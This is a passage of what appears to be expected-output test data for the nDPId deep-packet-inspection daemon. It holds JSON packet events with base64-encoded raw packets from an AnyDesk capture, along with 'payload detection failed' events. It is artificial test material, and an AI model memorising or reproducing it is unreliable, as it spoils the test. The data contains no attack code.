IKtR9\/k3FaGFlc9zFFLRpnY5MxujtexBPIIPyc8KdJ98NargsYKEmj+aetpUokhA5HhsUOKQmTTAgzZK26g33fMAIt6vGIIR5XOX\/OzSXYvughDySGSdcqgPx9N0syxtodfD7wWzGJwsfQ2JL99+3cVrB+0+Uu06j39D6SOwqLI6etNH9DI5O9XSz+EYoxHnTTx2aEhl9NImem9hyDhMpm6i3NiURVVlYj219YTv63F6584x\/u6nONVJ3EoGhU0IsN+NL8u43XvCIbO9uGwndoi2dQoza8Arnn0Gr70XJ5r8UiDo++xUPvaUIhpJ7kltaEs\/EmkHYnSBgKcoAgSWt7EVTShOeZVbvYcjwU0sP5hGiHyhFRufPmdh\/2BQFIKkAkWJaMlUAFlfvMX33gSIAC3vJkAUFL5MZOuaLuFScl6d07z6MF+eb5Z8ITEP5Bgd9DalTe0XzT86QsuFLLVgjOtgl6qHBUg4ZGz1riYJtUWa1dvuXveCPJ+jzTx5oZkA1Wh9MhoAsqp\/DxkEsxkhJH6kIBOi6VTbnvq\/a\/nRM23KH42gI2n6bDixY99irJ98IrMgbgX1mCZGUKS7zr9PsZvRSng2q0t+wVuAyuICoC\/nSwHxse1DW6HbDQMjwGTmuJNYbf8jQGocTgjt9r5V5Qeg5CXVSjusNPQPB0+6Txpom\/qiEij50LBArRQsBTFT3ZGeYA++n55yPNY5+RTHB5nrgmyauU0Itm+KvxsB8kAn0JDmCkj8NTwHUUc5w4A5zTleHCwUF3Fa4qHPH3G0Wm7+\/a74CHuLAtjLHfeH3IBknPxpA3pw0JebQ9BI4RnqkPU6Fa7uSlLGHCnc6QcbaBc3E73xft5xhL9351nLVj8X5PPKqYAjUAcoxhhxXsTR9M7tE7QorWvCba5ew+addfPyjvq4BmZKHQ9MjlMbr85k9VemAFrP6vX1LCf9zfXlPo3yAyV\/nLGuJsJpwyhR7v1UJfscL1zAecHAj\/uQWHrd07SOfnf2mZR1L\/9lgDQMzI2+5IgiO+dIzXxOGH9x0e3b1uYAwT\/dHeh\/IdM17BQz+RdxSvHIAhxud5K3UEarlFkBQcfikfw9kO\/RveNkVYsRkH63g640vyfcVWVsIRKaWOQurm\/wAP6Ngl3qOsRUrnvCcrVq6ZTLM6VgrQ+dvnFF1OZzMEdK06sBoCb7gyWoebFd7tWxsEZLkibOLs0FSBiqJN69Cz90w3mdnCo92rxTg6HWevjZQu9euHXeKUBu0alMnbSHtsECyNW\/bXea2qMxQavE62Lwamt4wiO88LKVOCEWlStO6c+lDP39iX7QC2vlJpXjJF6LASU5HSVgc8iCzsNbOEWYGKueB2BXTm5TtFrpWo\/VVVanlJYFyf9paFCQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1625,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2667} +06644{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1627,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":731000,"pkt_caplen":4680,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4680,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgK9AAIAGAADAqAG7wKgBstOUG56PKg1ZWcQ6YlAYIBSExAAAFwMDEg1Z4hNO+msWWAXv3thrqYeJI\/aZWawRkv04kUv+iGGbHMwlAxrB5o7Z88EjROUprAIcl5FC9HZ49uflqOtLzOAiMGQoEHtwJ\/cEUXC6YelPxtlTPMgZmfe7T3HlL1v9\/XyaN0MsEtH0pWaTV3qiGy8aSJy6ZTL0lvmxSaKLx0y8g+hqQdhw3MgMqrqW3EkCNJJ\/Pg0AA4qn0thOz32kqRRRYUYyIwlxuQhqwT7t2xixP2LEDJjpAt6O+5NNLb8KDZZt8SMruWB8lxNWQcvEHE9aLbFrbh8MK6TFNh+TUsVpiKqvIqPEW8M3IsdJbGTeL7bNUjurYbiJZX8KZgmav20S95E3PZwkH92nniWUNegjTMyIqI0p8XLqGt4yk4aZ8\/UZrCNI55jkDuMz\/xTGyMcBLd9tFiibC6Olkq8zldJqHYlU1Ov5AxnDFeFuelEbxM+dSUsd0o4FCWMgHhxnX3CDG7vCdaok5JSvqbJYyUBHEkNWd1k0OmeRAk80PQy+NI0fmt5EiHYEW7332AJNpNB4g+Yx+5dEKWA+FzJ0J2wGR2Kj3n65\/ribxR6OfIk8qjwUhtX9GNCD\/nEWcS7he08XmHLD1RX5hHcMdiUkBOkb7mBcDVkx2jpot5bulw\/rxGM0zFrxxtzlV9PsGnGqqdjJatL0JGDgf5D86mHYcVXPN5ZAt5yNn9TXyojDZ6Po8e2GptNllChllLtnEsYdb\/a3sfWClL3AmBwmHVJckcEcBUCUpIG0javn05Co4Qpo+eKQcCETwF11JkT\/I+zQcp2EVAwKFpmcL+anSTuG3KE2iGI2fkTeH8gSFwgq902Lh6XmiInfoTyGJJiHDEq53Z+tcXP4\/2tlWH3lUFmFkSTrXPnlWy3Gv+xrUy5sDjQ4fWQt8oTzDM42Zu7EaElL2JsyY7IiJa6g9ivqHlZ3p+Yy\/kVNtW\/AWFgAUe1C7x6RRntVAQdln2iD1QjxyMkZei7cp5jKVSYgRdVr3uf8LWh41n9fQS17HVS76U54epmNYjSFADM006QYObGQU43DTOXnwUSRAJDr05Cnl39VCqvGNfJX9xdrB7DrUXBC\/S4ifV4vIXi3+KAFlFqBZkvXb0OgwBZ4RSutNzIWwRq8EgqwK\/zY6M6NuR940p+j93LvIcFJHXjH0\/fT+\/Q\/DGBv5rnLARkA7HJMFT\/bu\/UxOvr7G0qQtNjPet0kLoO6d7TFL6GAmrFbHTxx2y1JhX2WiYcfOkqC+D5H4tyJXfOhf7XxpRMjS\/TZ8R06ePy74YsAIfDFbURRhvd8A04eR9LZ2gw9vN\/xf6yltK2FZ+5f4YxELAc6p0FcGNJXegPWP1A+hjSxyG\/ngHp8xGCI8wsYq10LcOK+c3hJ5hKh\/K28MTCwoVnP8aEasVq7rwfgWL\/AtadufpCSsN35JZEHT3dPoWxS9q8o8+2Zh32wWi29Ix1ydBczo5BvEp7MNf\/JOd7yVL4mx9pPbkDnJJ0Sy6s+N2NgatSgXfJ4eh4CMBHK6Ocmqab+c8WYFvaT02YKiDqj9BXQLdN++sXYS0LJk4EcVXKeotEGd5W1JXH4FKuKUzusdjl\/IfkfVW6tNGC1DGRCD0buqHDgywt0WCH+R2qWpGAUrLGHHVgdKGQCv1wLeI32+qYCqVv2IxezUUaU\/LdtLKfwFxB6ORlC0mavthsx7n9FTJE6ksCZ\/hPh2gUMhT7SGw1tSHyiPKAnc65sFIk1XQGT+kx3HsdppbtDbRhPrdpuDLJvHOC+BSwoS0K4Io6YpFjPXATEneiyjTjP0nh2jc+nRPXP+8THDrc7huk1F6Foso15hNLORx\/Y8kUwUOofe4delVQI92XF0JYhaGiTntIoTAmI0gx9ajXkVtpcCHUUu3kzMzzDW7T8FU\/9f9Uk1iZe+QYjmRCz5+qJG7vycSjRYC6G0iTYlcz5eqXfdOY7\/oy7bdp+3Mv7QO5QWrIWrDxGvgQ0+kbInVVu0AVn4TdLbaST3eRsZy1OhB8WaCAHlGDD6zEWsaZg5xz25I99KG\/2UQwYIfzfexmLgdCUzZUVmZupfhImoZGNL1qV7cYgKdviRS1X72QFQoNukX6bPcNK\/nbqBEUQNu7POfohuuxjeel2dC7m160HZQUNa0JcgE04DfiveYlGGEWhOxJnQBlO8LUvjVu6jLI0fUU50WFw3CkjYXQBTi2yklfiinWaVKL9AP0nFfSmIT1J8FsfcT9SWwu1+xm2hmn76SQxc4oCvNnR79gL4ShyGtKil2j4xvUGW\/wMxcK39WUpnYHPZmHW0XoAy6OIJyr7fk9+wh3VXUC+DL9qQEVmnfL7iXWnB0jEkkieeQkAHdgUVxnKYMPPfIVhderW84uNVvvNWSAV\/m4bsHdnMAYnkGiNpC95BQN3fAIIDR\/04e1AraAyl+QIIoYG0tpGUpMTWltc1E4niC1y\/cRJZ8l9Ycty0nFbfxcuJVsmtoqeUXlZx\/7082Tz5sMjLH6bA\/Jgznj+JeOtJX0PmgitQk\/9OSByKKL97w3w+2AS934RoG2AUXjWVQdH2GddkMxyUO9M+fQ8U+HPyiSEAqIEx1hkG0340ZijtoBkAfMEyk39Kw9wv2iG4wKM+tSkoCRZ0UCQGklcpND78pYuwlFHRuCeX10x2ug50oadp9CwirZFbmExwaE7FmQBL3JGY3Ual5WupaPTcPrSpB+DdGK2APZr73Czn7BYlHrgl19Ld8UwRAYYecugaShNdPaZlrcofx9iLQvX+gSpduKUCyzHrQ\/dN+HN3hquVZGY0AvdrB1lkohnOvE+c1hbUb+rCj7qKXv335bjVspsVus+rurFUpmDmZq9E8Pua\/aCPQ5vTEloqLQSvlzpb1lnzVxciwaeYHuwQwiAVAbczZqcILgR1wEvoK\/DITUMbi\/pyeJtARxmJoXKv7GQ4LVU2I+rtkEOOxyPPatGLncVLwXR\/bpNrXnMiI\/+i8Q7mBS3PbiC2lvxtxW4O9UEVNc\/v22XStSfMhU6H4t102WPyTg0qL+wAGoDwRavWHN5R33i8h9CirQIS4PZPrmcMajB3uLvoOk1u1lVj8gLRYzLDOkstAippKgOd37u7hTBY3ty2fMZXUpVfwVvN2PsVfajysxBYD\/JeL14\/uL9TnC3ru54VzOf4R\/OlI4kV+XPhc9Sf+jNaNwAHPwCI78Rk9RB+VV7UNblRvZwvRGlv8ZLvJYrSvwGbHHST9lfh9cgZPOo9Q4ulD5PrGXAifmyXMkWy33FuMk8aCbLp5c\/i1DerWza5DjVRf2nMiPueGnK4bnPGNTOE2lN3qHZXSDLP3fVzj67bZC2L8ZCS7460\/cVRtOodNSiB1mS+Y0AGDjBTjqm4KvLoCd8oA7GKyhTxM6OJH4i5g8dWhKAkd3oB\/\/2HsI2X2Qm\/vzUcItyfrr964m1yt4t0\/BAiOsTx0\/FxGWokljGECMJD4Ub98LKdoql4bWss0GhnQMuvYV0vZdozxD7ChXxMw4xus3t00W7mZTuyFpsM+DBt9LB99Au8NoLcmLOdekerf\/\/zQNEWtL56rA8qGdFWpgjpvjfiTy7XCmYFPFRnUvxBQRfxF5cjQhVSNtAfqTW\/yWwoFf0mHYWDQNkW+4dkDnyfNX9AhIVZZXJbpJClRIiCj7MJArIpuf+NWFrbd75l\/OcnLKfhLh0zLbFXoiPYZ3XZtFRns41xWv+u8rj\/DYTRazoO22XTUmvBKnDJRC63LQ0h0GjdcDdQRAJ60adAsobYMOaGVPuQX1vnfktW0lleVj\/TeoV\/\/huZnKNObF0w0El5z1G8K0v7BQVeTya3Blo\/jVXxJBB4LpaC5\/LjajJzPhIJUdOUACydD1Qq1vidc09XmdEECqonilbfY5sAwckGNQzF7qz9bBdEvI89v27A92j+6E1+G38SPlJ5IJVfBTs3y+WK6g\/KhykI9Lj4H8QtXEJaxAIuiqXX8MEE1uCtykhWRegmw0PbeUR47BH8AoxZfZBxgp2yN3kZpkGxpuXfgDDkgN\/a5ipayH25LWHjqVuOZnNLjmDrXgPE1AZ2M1f9y1Dlq4BO0Idm4R3mysb0avXuUOUyPeJlTmOGzomlldqpYDWtGEYgfEAAM0+1ijYsWejuRcXCrpzp3cHmsvTL6\/uwhN+DiNqWVXeYN6OxFkZ4x1gDMa\/MUVPSyc8qoQCrmUzTmWWAaNWaN+ekgRkcHSLRNf0ga56vWSeIPQnzP2DE4gTaXk4FthXPu89cgUFQ9sPf0qQhZMVuJ2sO+VtyDNIgMGrB0FaIQxfk2m3aQmTE8e4+kMnHHHORcrNhU94m0QWplzKWiA\/7IfomY6XUSJGx9v2taZtSGC+J+PLyRIW8Qkpb5NCu0LCU+IOLniU\/yf4cxTi9Z6xnOIMzoeVv53Avsq0nF\/GCkb0PZiplLRObDCvVAJZTqaXtkKhs8xvikxUzbFeyf7mTPib9kBpHTdgbbZ+R5NWaECIRHO9nxeA5QcKV2LORg0QTYELCM\/RQkbyno2oyUEdTcdUxwypVD6F7FxttWms5ci\/9NLZ4jRduWP8lFQsUxlPKpZGYR+pIGrswXI6CrYYPeZWiQJHuGqMRY6IElY\/rXYfbIcA\/sTlHkcfppg1d4fVN5BqD1keCWWcysMbd\/vhE61qvSKFJJZgDk65mliqi6zx715ojJ9oGivyXw4WMOx4B1G2ClyY38g\/ZxQfBGI4fOvL83H9KQCE4eJ3JEVrcS6\/cgvavSWWiqqzO8lWL8t5i0tdDniSCtE+Ebgex5xfzeYfNyDV0iCMUc4wTZEDxzxeDn0Z7FEwbPL6O+iAMLWkTN+Ru23301Gs\/qkFEWrzDBNXY9+xu72zwWQCq8l1HabwKMYtP+5aVS8sJ4vmTTP+Q97pRhJ+3aVseEaDSTpzbAeC08nO1s3feGT1NM9ktdvE9kpSul5AeXaPZ6cGSqq18exn\/hFVKKNMsz7G\/KEY84t1lDYviwZTlxvnFpUFaH5bX6V5QmUqi8tDQBYTuDfrIF+hN44v8hQOXfUPF2EyTakIn4c8F5tizx\/suxPlViioioKdBq4usc6sDVtk0b+mJPENSdlHJaeQDge9f+uDclhVGPGyytZVrQB2ObEO7HoTLlnWuSxKBRjBpzGrkV7X7NxojWSGcDBAGi4zgN6tGA4x3vIyucLsh8AsBV33frYvAMrkwHxj0w2lKv0EyNmUI7gC0DjkWeaqdr+8TBhuIwYtQRx6v+SyiOvXgsBcRt4F5w0gCTPuuiLVsPeKHDZYx1GOvXRiVnUbD8L2+sDy4BELgduSjVwpvMcQ4RdqVcB4MBR1IPdVvy1GxQF947sTm3LYyL0ypDBgqgF+APODjQtHd8ud7\/HjXuFU6w+VoKY4aGcebJ3f0pUFkyFoyd9CquBvtVrmB+ERRYkgPFQwDezqYJFcNXmAhRmJR4h6vHabzR58O8+ibqnztUVbpVaYYci7X29QeHDGncPCLvgZ0MlaRcUqtfhvvk8zVXPgifsABbWWwE9k2UhAgo0G\/E5p4ZhnKJUhXHPJMt6Ei86dspTihD9CIR7J5Va2qOv0ceKm6b0izMwV\/jQZ19eWxG36WSyvyC1GaC5XX+joLsMIkj9JBXzvhiiXqgFpW3W\/c9S1keSMdr61SkPA9dMr7O5ETN5tahBnvFbHkqT71GU1\/GG0fwVz4U6xUU8KLEeuNFcH1WruoQW3G6kEFv06o9YzB93OEWBEUHNORzmQ+Pq\/X5ipr25ytKjPcpoz+ugakUnH\/iXXxsSuZQsbpKxB3ltlKBILANAeCUIJmhVJNUeCanb+nzuOf+HSqpdHkhszN1RXa4BICtP8eqo1SoPlriepsQQhYolfGmFOm5LU1PiSzP\/93nRTxtWLcOxfihX5BLGgihBvRc57652zc3Wt+IgMcJFovAN5i4Vgu63p1s+gsQN8fdIFSD9CJAn9FW7Y3yukVto9KJ6p2IPspH9E946QXLKuJBiBvecazsW8OfDjtMtGWw14LbVGTNyzMQkEZNkcAhnnKxvqu46Q\/\/6Yd8iaynfswtpk1Edwo+LVndHfrJ9XqFfkMk++8zaBO61nR5aFBVofM6cGkzVOPX6n2PFLspW+JvETrlpeaWX2zG9c3x8Y7bcSTlil\/MXRh0uyeme50SK6ugI3upkptLYYP5\/IbioI53s8Q0bw"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1627,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4646} +05724{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1630,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":731693,"pkt_caplen":4010,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4010,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgLNAAIAGAADAqAG7wKgBstOUG56PKh9rWcQ6YlAYIBSExAAAFwMDD29Z4hNO+msWWXIPe9hBlWNgwkuBjaKYmYwK9PxwJS23y0ERPlCYLwfj2RX0TIHzpF4IEbH9oijAaTa75zGQnyXwostHYs0LDN4O0FhfRudmmdTpJ9HYLeiTYsdYq8Ym+SGW4azG8Fyl1wVKzS\/ZBtJeDC5Eh\/AxNlSP9rXPhhQZ60099USGULc39HnvGgyVvMCprDactDRXGAWKWYDKsTXb0+wc5Iz6906\/rIefuSRYYs2Aol2wiY1G0hrMHqM5b7qqsmpk6+rxNg8AuBGbvDIPqfj9Z5qv0oFxVmAtD+ucdCxfDvIuV+U5J6TcmesJfX36eFaLtDL2y6dR8HKUkCf7bt7+nTp\/xvXOx87opKyJ6tKqUQQjSos8sD6FzBDyUxDNPZtLUIjwDGt\/P+2y9JpT+6CgPxkXGVqOf8VVspV7rtPoKjW2YIAgJvtUrvDV6L51SJdoNVXV6Y3uiDB\/eFSLZ7NkeVpyxaQStStXIMK08uynF1jSejWi7u\/G9j+5+EwfhkKfTxjrdracXRUMXVpWsX9Kwif9Pm3J2WGl6jCAm5PssJAKlEGgGyQiOuA7jxVJ\/TkixN6yXSBzsePSrqc6L4mUY+Z9U+4j6Uey4Z9xjuqARst5V0fekuzZbduK+mBR6PkSF8wum4UIRbYuLHNT7ZGHJj1tLLljOIVSd97XQnhJAoy01ix06EdCKbA2dbWLXkXJHKjMLJGrGZiOZtZG+XU72StWMo6m7gE2xkpoKpUb+lsE9C3lU7fpgQaAXKJHa+L5gvHxDaRbhEGDgbD9nIx6PRQHTqUp0T3ZtXiIf62iFwcb2WyecJW7DyIS7LgQzywf7drQ8CMVUOi\/R2OyM2oFCCLL6emZEm1v1UfAVwWpMXUzfd\/8R+eUCViPDx1RdvXn\/FcDrzTQBUH4beakSjhoFQNn0vY2o3OF\/RsvTEGUkayzoN+z+KKbWXpmuffAfSKhes4eTJFyIOVxzXTOntif4HSyTr53JInvYfJ0a2iBr5Gqb9iKnrERWRq2FfIhMCfuuxIvuurMQ0v7tlqnHPETSJQyW9OF2CBS2FOYAsgVaGZZ8k7iaRVDUIpXXb25LtqWQRtACAkVyWCHWuqjlW5F6w8XLi2KCTPoM2io\/MG2Aq3zguqtZnMDh\/J9ZJFVumTU7Ec7s5rMwBtoBGDiRgOUHbWejWWE6TJZPc2vZ4YaaiM2viVf81o2rZtKUUZUloBCFnq8cPNjGCnuzCfsg+UNb6pmJA8r7AK09cegsfvw1iBc7T+hJPqx4RKtZ+EhCwtwKGoAAFZWzSuEayiAuat8E5zQUQUvtdLdVD4dVREb4JYkvA3HHFHKb2j2Th9mzGOzS7KHurElPeZqah9UajQL2Z3z7LvfA2bkszxVqHftyXlkPjzSN2Bs2bsCeG7TVzsCgmy0ZF6vy89w2lDKm3USJyMjQIlOBu+8n8QokjqVJgvX5VIulDk816LDTwcuWeB8B7JDLzmaJMCV9gVzuqnBn7Sx0oarzBy\/Hboz8NQ154WbAoPrt7pjfFX3aY8JRxUO7H8fymZlyFxV2iBkFYk6HrQnifzKUPkAmk9clJLM96IHaXOXLJhts3xIs201wz2FRXeBVwxnD25TLanIIpKSy+HtMF6NjdOa6lBf2neM8OaCRCCYcUSXYAKDKgS9RzAmGZMrQlkS4WLoCO4Y4\/iKB0QIsWLApKqU0xqNitX\/Bvfgya1AMcvbOVW7BJPmx5eCzSG\/XkIg+\/PpztEKl+7fHfqms0TSB2AZyOEqfRdRvYeFWor9wizq1k3sBfB4p6sfwAEc\/+FSYiOc0HtYg\/GOlru2\/1qP21OmRFDveCadUqPr+EEoHQfXPnx0Hnr0\/arOJyzL\/J\/uKzNxYzxjP6f\/CdFr36Et3vAS8\/Mci0WQDWtwGtTDHwu2gkOFpEneEHIOlugzI38gatv9xsaYfGxpUMUOBHTDX6kspcUrMBjlE\/2uaN7xAy5Sy+qVsQFXMC7AplLwAVBUrqUkZEZucTLjIC\/NBF9ftumsjDfCevrF2ymHsc\/SFsOrLhYvts9H1lLrF0ns1toUO0sz4Nb5YMuf3vapDLE+x2ZCtQEaVNlX51vg6RlQwN7ZeprymkbEZo13F0iOqXh95ZUu2KUm4SE0+9knNebq+qPs6KgJ3tY1gIRpStB4D6k0Aw2gAQLRIxiQvbHm40z7jIA5zcPVUr4TxYFjJD80zya8lWSnKyIghQ7oW5L9p6jh\/EHLYU13ICw7abfr1Zktrh53Nbimc+7fgUH5rffjoZMn2gaQXIdxqp7+yowP9Nx9m9q2Unmp+o+xYg4t3cIxF9J9d9mlrddalxVLO+mWTRsyAYZl2RXOoWZARgG6VYEzDTKT\/bNm+jxGhaOeV6OVGzg7cM5SLdURpTn1pNnqy6lAJHoDi2UxlAdVifa4GuIBVnaR3Mbfmh0uNO4SFuY2de4ElA3xjOY4jEIUiKzga+RI1QLHAXuLRUBEmBE8E5g9b53+Kt5ty77J0d9kX9PWWty5S4cuqrb8IBaGHE14kl9kjUuowi6wMC2Tm9K5HRqF5R7d8SLwBNLylwbtvzYaqHw1K0T8ce2RtbkWsYbYMWLYRgQErTFJoUI3EZBycLrcwnUX+odkKORZ4a2RJAvkozOw6jFIF4d0UpwOgHPeRFRtT6ShMoWNmQTmp+MasC+cIALR0jMJ9nF0H7nvDOtVPllMmEx4MAUabeaLUNRUed7nJpMVcY7A5hrVjGmEwn3svj6ueP4CI3s7OeOVwJzUNkiCTHPuMd3+rcWwDPTgLBGTZrcAdGplphyq9Yz1RBRmUIbn8oXjhTkKy\/hPkJJ2vVCuuT+Hv8Qijwn0afPjdaeq5KzDtL382hUEP+6pCM9FiQn0kxo9AE951Xl8G98R0ZKdBaZo0h\/PK1zk0c\/s4eFfu2e\/pHvwYiwrjX+9D0WbD7whnbSHTmdXaO24K5QZANRWvKC9a92VUD1vT2hs51raTS1h9u1fhQlxAUjJiBmnvM5pzM\/cFqtpw6nb7h8OZsFAzc3a5SWVuQzFcDQm2bNOYoSgtKax0GtNG0FpB3OL2ssOGjKXfdiQpENiBJ\/CPGZUbGmqvZ5E9EizU1doGIBOg45qvVB2AgVUrNMqu+ZByxFEH6LsXQZtYr05OIFgtwLAFAeY0FHFaaU0Ae5GvMnj\/CCW4I5r3MU9azc6iw75ZTT3hPcvA\/obAH7r3kvKWKO\/+61fdFyecnuektUrzoDc7NsXBlOK6T6lnPu2c7+jPNT4jsMeXX+npQpwT6li2W1GlsVSacGoKOT65PD27YDJDRJwY3eMPSKHVUrn8ZienFU95PoQDgezLnPZnh9bWCBWJUGs+\/srD45nBRJgjhET9bJPiBcmGorkUWyUowmEFOFE5Q4OviOwTHHwItm40zwAtjV4H3Il5\/Rsemc97EwHtb6AyMHLYP7\/3FuTHP8MrSyNhBRNpfbtxVrY\/4lIDpCP3fmCdmjXDGXGIqv2m5o2REZHOeXWcODh+Srqn3BPCJ6fCPtFqcXykVI\/m7424j1FwKRb2y9Ac8aI9ulnvGlMNgASKbkZW+CU4tzTBzefe89S8+qC4du+3HDImwoZBcwUoBwLudw3PhbHiWevOp64F53FfxYi0cjfblTHcrztuTGb6bxzp8Jtv\/g7HYtTHM2QCZ9dqLt+FLMtiPBT3vBy1ekNfVqldh+nCWVW5SgTsYx6LzL7bm\/pyAndH+uUVzjUTD4HnKqeuswcDKhTpSZm4\/6ktBixQp4PyrwBgQLl7GtiDBSFFe\/yhm1MBla2KyOKDotBCSn0o703iOKLISnAKqilwYwsFLF5mIxWEIYsg9M2v0FUWOHZ429GsmU1UsRRKhY5S1h7gA3trb\/83f11Hj2RBkI3x7gNSxrdiYiAgCfVT9Z01ysLvi12KJ15KAOMgRneae\/heHc5TjIQsatHTnB0QKDx\/jIG44fY4FwF1bGv3i8k\/9FesssjjOS8\/4qEt36Ihy3HMEQg9KlpQQ5FTkS15HYXB5nKT7DG5dYOrl8Sr7H6DtJRpOoJCCveGuwkVN+YUqMs064wCwlBMS6O6vOYE3TWSu3irTLCTgLd8rpCpz4tI+OKO+ycrs\/qnDslnZrXXkEWPwxTx0TW4PeESAwtNVLQz7dK2rZ0EC2XNadJawamCaF4JmEHWbooduohwQQziBuCwjM9DuzJRpJRKfwOJGI\/ggmQ2VVXv\/mU7R3W4ig8XIs9iLAvZ9pfGMiUpjjV3g6f+\/NWGOkQQk4I3jQBhzq1oE9lnExPws8gV632q4LpwbgVNtzNsPEY4Rvp1YkQBmHikmtd8pd56GPOhaw6RB+aoK1YjsPdfbT83wNyG6OTAgCbQPv\/NCOKxCR8Nxvb8JAp6UMHSIT4C+TG+cCvzYIvSWaELMRt6cHIjZrea+6c7qzXZg\/C4LXNNdrOavhEv84iOL8CsLzW5E7tk1xdjZRTYb7VyxAPYfFZanNGqC8HNXnJoHvompIsc8Z4bgx4B4Pb7vLcXkogF17+BMPYGNI0zMJKArXk94TbMhKKFoVq1oqRqUyUwXShA6n6qpGUJv6bs7chyoFA2FGMy2IIU+LShndS3uBvxl5\/Jezg0Xs+eDoPzexnMedVnsuJ1jpMb\/ffS+b1fxNxpYQH28ACN+CrCKhnWf+P6FMEZGC5tyYZfauZEib9ihXOACiyaG8ceQVuxcrTQUgjiJyTczoBcE011+Q9WpwS9V3knckvcVZjG3VCnh\/spJt871AOEIKarDIqgoDxqLPQtl+d1kvJmJvIDdxUvPE2bnHC3vAsGbI6Q64h0fFgnRvwa7T3+8IlMVvAYleDLo2SrCcTcKcl7MkBDyiQm\/1wM+6PLwlM2DVbjCM7bAIP9Ur4DGbjeVDawl8FX\/6YVimvcJlnGbuKYAgQ\/NaDceQ\/SgPt01bYnWqd+WWCq12r10aX\/gXBiqoVieQ0a0YQ01p6q9\/YlcQXq\/gsqqP8XvJTDyDX3eO2ZRg+FX5yaDtSyismk00srj5UXM4HOJtU8w84b6+37iGYuRhzj3CL+q7zacG8X6mUYOeunGGnuaBBxRr6QgYrPkpFmIfrdTqC+oEWOvuW8Egk+MLvYqjR4oF4wWlL0QPLxjYYLMFYCg85NjHHbiZjY+xdvJmUoZoQw+jFE2snuyj4St+11yolvDpHL2lHOi3esQPFp+D6LH7OoogOwKNVPiYzpFvWdRTeypUrE9WRXNZ94t846kseA1Oc72eJAxynukGI1GI8bjYd4nYTjVWs6mw="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1630,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3976} +02537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1640,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":759115,"pkt_caplen":1650,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1650,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgLlAAIAGAADAqAG7wKgBstOUG56PKi7fWcQ671AYIBOExAAAFwMDBjdZ4hNO+msWWt5cOuSYOc0GWaNX+R5cfIyXawPh60fl8fNS8yxe1pXLvaEkj+hB+oq1vOAd0G6C5tIUWbwNgY0loVE8b3oH1UZMeqovEKSH22aobjHE8WvjTsTGW9g2Cpv5vdqBHadH9acRUNLe8FmIjlmlYNAWXjuq3FuO+hJBHaHgI3GI9Y0pXk4SjrsuDTy5J2vl9I7OfC5hViwBn9yU1XZ0pS2ejl65avsb5UyME1\/kqi+nXA8kvn7iA4SvxMp9pnCICMmFDvTkuAbNI0nnjxhNLHnzhFVjMsxlrFzvO+nLBGmIhHCJQUKJJN7TrMJDbjI1HOXxUMSgab2deYxmMWCuC7TRUHSxEMQTMBku4olJSN6NStq11OV0OSj+rkn6o0R49aoNGE63unbpp55EPh8I4KNlmqJrQ0Ekkv\/3tfguXWXweHNsKcVN7bkD\/5AvQdJCQA2Ni5ga9ECil1FpBauQTLOh4+GbsUMaq\/75elnc73r1egZR8w06r93bj8OMmJh1wn3qzLbIrskwX\/uC2GzPLed7Il0dbVjER6k8Xh6HipRg6Pkyf9NoaiFRN5OiV3BJyvML+xfEOZzDXh5OetsZp03MWRkDdD5bDbj+MPvitWtlLlzDJURs8EMuVsM+mnroeY4rdkm\/L2JtxQWknfAgbE2Ikwy\/fYi7a+UWWkemF2y6nOUfa6x\/2neR6\/5T6TAMAitwtCosGjm4Gzb8qdhhvGUawceLKtrYSPfk5jJc7E7rOql9jBOctCfT98E2PBrqCN1nZJP\/sLsMbzU\/bmqEdYXR51w8m1d3byY9\/qVOvRe8hbqmsY2bSA5HS5tNFchqh6pzOaxwkecO2mIknIOF2wniFow6z4B8o3X7dqm6kjaZdgtEsfa6XI8\/Mih7JwN\/B6sILhFrGhX6Ky2KdARobJputJeO13Q5c0J+U06kj02Eop8pWRCJS6W+vzH1otVbxcYYaBzrMBg5mCKsMt4L3CIBJrjF492wWXGc8GpnDtavhxsrp41GMUabwXYXyOC00vqM6PXw37\/CGqmnm984BeHIOJxgkerUAtpH2oIzyj5rzSy17nIIiRaLxXgCgBd9mWs8\/YFn2k3\/3rDRhHzfmi4TgrFUyMoLLH5kIg+jHRz7mT4SGDHkqundvGM97xxe4vslFEN8UCMiGwaIoIZVD6mso6YaGpnvTXfVDRs4lWnhZjdzYV6iE0BDOV1Pnrp\/W8BTK56Nl3aO00WYoloFcRfAESNfS3yKa1\/mbFxa3UzVz9kDzkvhHJ2U7sVsvDHMaB2eLO9hNNl8ijyQ6FA3b2TPUeP54NRybsAVrd4vvHcsIOFPT27P80GfxvOlh2BdEi9GHOTHkt0TPn9nm1JpJpOE0wtzFq+Od7wmqj556lU8YyXOevulujsLjlrnSlGnINkbgdZSejasfJNktEzsJYxQ9AulNu07IxLkvEPjba4CjjvVOlypDSACaMONhwrYR2rlkSpepQ\/Bf4mec8CQFpIenI6Kq29qKKnrY4hnu8DlhYVpRwOtwORRm79tyZ4fH4Z+pRBK3lhc9KQgU9fDq4+ljuOprNmlbveVZG+ovJLStd7z6J3UQaVmDCu4ng3CjxqxSAguQOU6a7Y1MAhINXnDd5M\/nL8JqW975j18h5hnjLc+p